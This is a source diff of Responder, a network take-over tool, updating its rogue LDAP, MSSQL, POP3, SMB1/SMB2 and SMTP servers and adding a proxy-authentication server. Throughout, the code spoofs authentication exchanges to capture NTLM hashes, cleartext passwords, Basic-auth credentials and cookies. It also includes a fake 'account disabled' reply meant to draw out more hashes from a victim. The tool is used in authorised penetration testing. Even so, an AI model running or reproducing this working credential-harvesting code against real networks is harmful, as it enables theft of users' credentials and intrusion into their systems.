UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
WriteHash = User + "::" + Domain + ":" + LMHash + ":" + NtHash + ":" + settings.Config.NumChal
SaveToDb({
'module': 'LDAP',
@@ -69,20 +62,15 @@ def ParseLDAPHash(data, client):
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
NTLMChall.calculate()
return str(NTLMChall)
if Search2:
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data,client)
def ParseLDAPPacket(data, client):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10]
@@ -91,7 +79,6 @@ def ParseLDAPPacket(data, client):
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@@ -99,7 +86,6 @@ def ParseLDAPPacket(data, client):
if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
@@ -116,12 +102,9 @@ def ParseLDAPPacket(data, client):
elif Operation == "\x63":
Buffer = ParseSearch(data)
return Buffer
else:
if settings.Config.Verbose:
print text('[LDAP] Operation not supported')
elif settings.Config.Verbose:
print text('[LDAP] Operation not supported')
# LDAP Server class
class LDAP(BaseRequestHandler):
def handle(self):
try:
@@ -132,6 +115,5 @@ class LDAP(BaseRequestHandler):
if Buffer:
self.request.send(Buffer)
except socket.timeout:
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,15 +14,12 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
from utils import *
import struct
class TDS_Login_Packet():
class TDS_Login_Packet:
def __init__(self, data):
ClientNameOff = struct.unpack('<h', data[44:46])[0]
@@ -54,6 +51,7 @@ class TDS_Login_Packet():
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
def ParseSQLHash(data, client):
SSPIStart = data[8:]
@@ -97,17 +95,17 @@ def ParseSQLHash(data, client):
'fullhash': WriteHash,
})
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
Pw = ''
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex')
return Pw
def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data)
SaveToDb({
'module': 'MSSQL',
'type': 'Cleartext',
@@ -120,7 +118,6 @@ def ParseClearTextSQLPass(data, client):
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
@@ -130,28 +127,25 @@ class MSSQL(BaseRequestHandler):
data = self.request.recv(1024)
self.request.settimeout(0.1)
# Pre-Login Message
if data[0] == "\x12":
if data[0] == "\x12": # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
# NegoSSP
if data[0] == "\x10":
if data[0] == "\x10": # NegoSSP
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
# NegoSSP Auth
if data[0] == "\x11":
if data[0] == "\x11": # NegoSSP Auth
ParseSQLHash(data,self.client_address[0])
except socket.timeout:
pass
except:
self.request.close()
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,22 +14,16 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import POPOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
def SendPacketAndRead(self):
Packet = POPOKPacket()
self.request.send(str(Packet))
data = self.request.recv(1024)
return data
return self.request.recv(1024)
def handle(self):
try:
@@ -38,7 +32,6 @@ class POP3(BaseRequestHandler):
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
data = self.SendPacketAndRead()
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
@@ -50,11 +43,6 @@ class POP3(BaseRequestHandler):
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
data = self.SendPacketAndRead()
else:
data = self.SendPacketAndRead()
self.SendPacketAndRead()
except Exception:
pass
pass

111
servers/Proxy_Auth.py Normal file
View File

@@ -0,0 +1,111 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import SocketServer
from HTTP import ParseHTTPHash
from packets import *
from utils import *
def GrabUserAgent(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent:
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))
def GrabCookie(data):
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1:
if settings.Config.Verbose:
print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))
return Cookie
return False
def GrabHost(data):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print text("[Proxy-Auth] %s" % color("Host : "+Host, 2))
return Host
return False
def PacketSequence(data, client):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
if settings.Config.Verbose:
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
else:
return False
elif Basic_Auth:
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
ClearText_Auth = b64decode(''.join(Basic_Auth))
SaveToDb({
'module': 'Proxy-Auth',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.split(':')[0],
'cleartext': ClearText_Auth.split(':')[1],
})
return False
else:
if settings.Config.Basic:
Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose:
print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)
else:
Response = WPAD_Auth_407_Ans()
return str(Response)
class Proxy_Auth(SocketServer.BaseRequestHandler):
def handle(self):
try:
for x in range(2):
data = self.request.recv(4096)
self.request.send(PacketSequence(data, self.client_address[0]))
except:
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,84 +14,51 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import settings
from random import randrange
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data
from SocketServer import BaseRequestHandler
from utils import *
import struct
import re
# Detect if SMB auth was Anonymous
def Is_Anonymous(data):
def Is_Anonymous(data): # Detect if SMB auth was Anonymous
SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
if SecBlobLen > 260:
return LMhashLen in [0, 1]
elif SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
return LMhashLen in [0, 1]
def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
return LMhashLen in [0, 1]
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
for i in range(0, 16):
if Dialect[i] == 'NT LM 0.12':
return chr(i) + '\x00'
if Dialect[0] == "NT LM 0.12":
return "\x00\x00"
if Dialect[1] == "NT LM 0.12":
return "\x01\x00"
if Dialect[2] == "NT LM 0.12":
return "\x02\x00"
if Dialect[3] == "NT LM 0.12":
return "\x03\x00"
if Dialect[4] == "NT LM 0.12":
return "\x04\x00"
if Dialect[5] == "NT LM 0.12":
return "\x05\x00"
if Dialect[6] == "NT LM 0.12":
return "\x06\x00"
if Dialect[7] == "NT LM 0.12":
return "\x07\x00"
if Dialect[8] == "NT LM 0.12":
return "\x08\x00"
if Dialect[9] == "NT LM 0.12":
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
if Dialect[11] == "NT LM 0.12":
return "\x0b\x00"
if Dialect[12] == "NT LM 0.12":
return "\x0c\x00"
if Dialect[13] == "NT LM 0.12":
return "\x0d\x00"
if Dialect[14] == "NT LM 0.12":
return "\x0e\x00"
if Dialect[15] == "NT LM 0.12":
return "\x0f\x00"
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
def midcalc(data): #Set MID SMB Header field.
return data[34:36]
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
def uidcalc(data): #Set UID SMB Header field.
return data[32:34]
def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30]
return pack
@@ -99,10 +66,29 @@ def ParseShare(data):
packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
def GrabMessageID(data):
Messageid = data[28:36]
return Messageid
def GrabCreditRequested(data):
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
else:
CreditsRequested = data[18:20]
return CreditsRequested
def GrabCreditCharged(data):
CreditCharged = data[10:12]
return CreditCharged
def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
def ParseSMBHash(data,client): #Parse SMB NTLMSSP v1/v2
SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0]
@@ -113,7 +99,6 @@ def ParseSMBHash(data,client):
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0]
else:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
@@ -126,10 +111,10 @@ def ParseSMBHash(data,client):
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[105:107])[0]
DomainOffset = struct.unpack('<H',data[107:109])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[113:115])[0]
UserOffset = struct.unpack('<H',data[115:117])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
SaveToDb({
@@ -145,10 +130,10 @@ def ParseSMBHash(data,client):
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[109:111])[0]
DomainOffset = struct.unpack('<H',data[111:113])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[117:119])[0]
UserOffset = struct.unpack('<H',data[119:121])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
SaveToDb({
@@ -160,9 +145,33 @@ def ParseSMBHash(data,client):
'fullhash': WriteHash,
})
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):
def ParseSMB2NTLMv2Hash(data,client): #Parse SMB NTLMv2
SSPIStart = data[113:]
data = data[113:]
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[22:24])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[30:32])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',data[38:40])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMBv2',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
def ParseLMNTHash(data, client): # Parse SMB NTLMv1/v2
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
@@ -209,37 +218,72 @@ def IsNT4ClearTxt(data, client):
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
def handle(self):
try:
self.ntry = 0
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
if len(data) < 1:
if not data:
break
##session request 139
if data[0] == "\x81":
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
try:
self.request.send(Buffer)
self.request.send(Buffer)
data = self.request.recv(1024)
except:
pass
# Negociate Protocol Response
if data[8:10] == "\x72\x00":
# \x72 == Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
##Negotiate proto answer SMBv2.
if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 1 answer SMBv2.
if data[16:18] == "\x00\x00" and data[4:5] == "\xfe":
head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data))
t = SMB2NegoAns(Dialect="\x10\x02")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 2 answer SMBv2.
if data[16:18] == "\x01\x00" and data[4:5] == "\xfe":
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0")
t = SMB2Session1Data()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
## Session Setup 3 answer SMBv2.
if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe":
ParseSMB2NTLMv2Hash(data, self.client_address[0])
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
# Negotiate Protocol Response smbv1
if data[8:10] == "\x72\x00" and data[4:5] == "\xff" and re.search("SMB 2.\?\?\?", data) == None:
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
@@ -249,23 +293,25 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
# Session Setup AndX Request
if data[8:10] == "\x73\x00":
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # Session Setup AndX Request smbv1
IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
else:
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(4096)
data = self.request.recv(1024)
# STATUS_SUCCESS
if data[8:10] == "\x73\x00":
if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
@@ -279,6 +325,18 @@ class SMB1(BaseRequestHandler):
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
self.ntry += 1
continue
# Send STATUS_SUCCESS
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = SMBSession2Accept()
@@ -290,10 +348,9 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
# Tree Connect AndX Request
if data[8:10] == "\x75\x00":
if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request
ParseShare(data)
# Tree Connect AndX Response
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData()
Body.calculate()
@@ -304,8 +361,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Tree Disconnect.
if data[8:10] == "\x71\x00":
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
@@ -314,9 +370,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
@@ -325,9 +380,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Trans2 Access Denied.
if data[8:10] == "\x25\x00":
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
@@ -337,8 +391,8 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00":
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
@@ -348,25 +402,22 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
except socket.timeout:
except socket.error:
pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
##session request 139
if data[0] == "\x81":
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body.calculate()
@@ -374,23 +425,20 @@ class SMB1LM(BaseRequestHandler):
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if data[8:10] == "\x73\x00": #Session Setup AndX Request
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,15 +14,11 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from base64 import b64decode, b64encode
from base64 import b64decode
from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
# ESMTP Server class
class ESMTP(BaseRequestHandler):
def handle(self):
@@ -63,4 +59,4 @@ class ESMTP(BaseRequestHandler):
})
except Exception:
pass
pass

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -14,14 +14,13 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
import socket
import utils
import logging
import ConfigParser
import subprocess
__version__ = 'Responder 2.2'
from utils import *
__version__ = 'Responder 2.3.2.8'
class Settings:
@@ -37,7 +36,7 @@ class Settings:
return ret
def toBool(self, str):
return True if str.upper() == 'ON' else False
return str.upper() == 'ON'
def ExpandIPRanges(self):
def expand_ranges(lst):
@@ -66,7 +65,7 @@ class Settings:
def populate(self, options):
if options.Interface is None:
if options.Interface is None and utils.IsOsX() is False:
print utils.color("Error: -I <if> mandatory option is missing", 1)
sys.exit(-1)
@@ -99,6 +98,7 @@ class Settings:
self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog'))
self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog'))
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
